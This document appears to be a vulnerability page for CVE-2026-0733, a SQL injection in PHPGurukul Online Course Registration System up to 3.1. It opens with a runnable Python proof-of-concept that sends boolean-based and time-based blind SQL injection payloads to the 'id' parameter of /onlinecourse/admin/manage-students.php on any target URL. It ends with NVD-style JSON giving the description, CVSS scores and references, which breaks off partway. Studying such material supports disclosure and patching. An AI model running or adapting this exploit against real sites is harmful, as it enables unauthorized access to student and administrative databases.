CVE-2026-0733

import requests import sys # CVE-2026-0733 SQL Injection PoC # Target: PHPGurukul Online Course Registration System <= 3.1 # Endpoint: /onlinecourse/admin/manage-students.php def exploit_sqli(target_url, param='id'): """ SQL Injection exploitation using boolean-based blind technique """ # Test payload for boolean-based blind SQL injection true_payload = f"{param}=1' AND 1=1 -- -" false_payload = f"{param}=1' AND 1=2 -- -" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Cookie': 'PHPSESSID=your_admin_session_here' # Requires low-priv auth } print(f"[*] Testing SQL Injection on {target_url}") print(f"[*] Parameter: {param}") try: # Test TRUE condition resp_true = requests.get( f"{target_url}/onlinecourse/admin/manage-students.php?{true_payload}", headers=headers, timeout=10 ) # Test FALSE condition resp_false = requests.get( f"{target_url}/onlinecourse/admin/manage-students.php?{false_payload}", headers=headers, timeout=10 ) # Compare responses to confirm vulnerability if resp_true.status_code != resp_false.status_code or \ len(resp_true.content) != len(resp_false.content): print("[+] SQL Injection Confirmed!") print(f"[+] TRUE response length: {len(resp_true.content)}") print(f"[+] FALSE response length: {len(resp_false.content)}") return True else: print("[-] SQL Injection not detected") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def extract_data(target_url): """ Data extraction using time-based blind SQL injection """ # Database version extraction payload version_payload = "id=1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) -- -" headers = { 'User-Agent': 'Mozilla/5.0', 'Cookie': 'PHPSESSID=your_admin_session_here' } print("[*] Extracting database version...") try: import time start = time.time() resp = requests.get( f"{target_url}/onlinecourse/admin/manage-students.php?{version_payload}", headers=headers, timeout=15 ) elapsed = time.time() - start if elapsed >= 5: print("[+] Time-based blind SQL injection works!") print(f"[+] Response time: {elapsed}s") return True except requests.exceptions.Timeout: print("[+] Time-based blind SQL injection confirmed!") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target, 'id') extract_data(target)

{"cve": {"id": "CVE-2026-0733", "sourceIdentifier": "[email protected]", "published": "2026-01-09T00:15:45.497", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in PHPGurukul Online Course Registration System up to 3.1. This impacts an unknown function of the file /onlinecourse/admin/manage-students.php. This manipulation of the argument id/cid causes sql injection. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized."}, {"lang": "es", "value": "Se determinó una vulnerabilidad en el Sistema de Registro de Cursos en Línea PHPGurukul hasta 3.1. Esto afecta una función desconocida del archivo /onlinecourse/admin/manage-students.PHP. Esta manipulación del argumento id/cid causa inyección SQL. Es posible iniciar el ataque remotamente. El exploit ha sido divulgado públicamente y puede ser utilizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:online_course_registration_system:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.1", "matchCriteriaId": "F04EF455-CD58-45B8-A85D-B9A76A121924"}]}]}], "references": [{"url": "https://note-hxlab.wetolink.com/share/Tma34bofeB2L", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://note-hxlab.wetolink.com/share/cU33RBoPPAF0", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://vuldb.com/?ctiid.340130", "source": "[email protected]", "tags": ["Pe ... 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